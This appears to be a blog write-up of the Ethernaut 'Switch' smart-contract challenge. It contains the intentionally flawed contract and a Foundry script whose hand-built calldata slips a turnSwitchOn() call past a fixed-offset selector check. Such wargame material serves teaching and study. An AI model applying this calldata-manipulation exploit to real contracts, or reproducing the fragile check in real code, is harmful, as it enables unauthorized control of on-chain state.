---
layout: post
title: "[Ethernaut] 29.Switch"
tags: blockchain ethernaut foundry calldata low-level_call
---

# Analysis

---

The goal is “flip the switch”.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success,) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}
```

Direct execution of the `turnSwitchOn()` function is restricted by a modifier.
However, if the `onlyOFF` modifier check can be successfully passed, it appears feasible to invoke `turnSwitchOn()` indirectly via the `flipSwitch()` function.

# Exploit

---

When invoking a function that accepts dynamic array arguments (e.g., `bytes`), the calldata is structured as follows:

- Function Selector: 4 bytes
- Argument Offset: 32 bytes
- Argument Length: 32 bytes
- Argument Data: Variable length

If `turnSwitchOn()` is called via `flipSwitch()` using standard high-level calls, the system automatically generates the following layout:

- Selector: `flipSwitch()` selector
- Argument Offset: 32 bytes (standard pointer)
- Argument Length: 4 bytes (size of the inner selector)
- Argument Data: `turnSwitchOn()` selector

This automatic encoding violates the `onlyOff` modifier, which mandates that the 4-byte sequence starting at the **68th byte** must match `bytes4(keccak256("turnSwitchOff()"))`.

Consequently, to bypass this constraint, a **low-level call** must be utilized. This allows for the manual construction of the raw calldata—including the selector, argument metadata, and payload—to precisely manipulate the byte layout and satisfy the modifier's requirements.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/Switch.sol";
import "forge-std/Script.sol";

contract SwitchSol is Script {
    Switch switch_ = Switch(0xfEE41E449fa0DA76F8E5f3cdc76DE7fc32762032);

    function run() external {
        vm.startBroadcast();
    
        console.log(switch_.switchOn());

        bytes memory data = abi.encodePacked(bytes4(keccak256("flipSwitch(bytes)")), uint256(96), bytes32(0), bytes4(keccak256("turnSwitchOff()")), bytes28(0), uint256(4), bytes4(keccak256("turnSwitchOn()")));
        address(switch_).call(data);
        
        console.log(switch_.switchOn());

        vm.stopBroadcast();
    }
}
```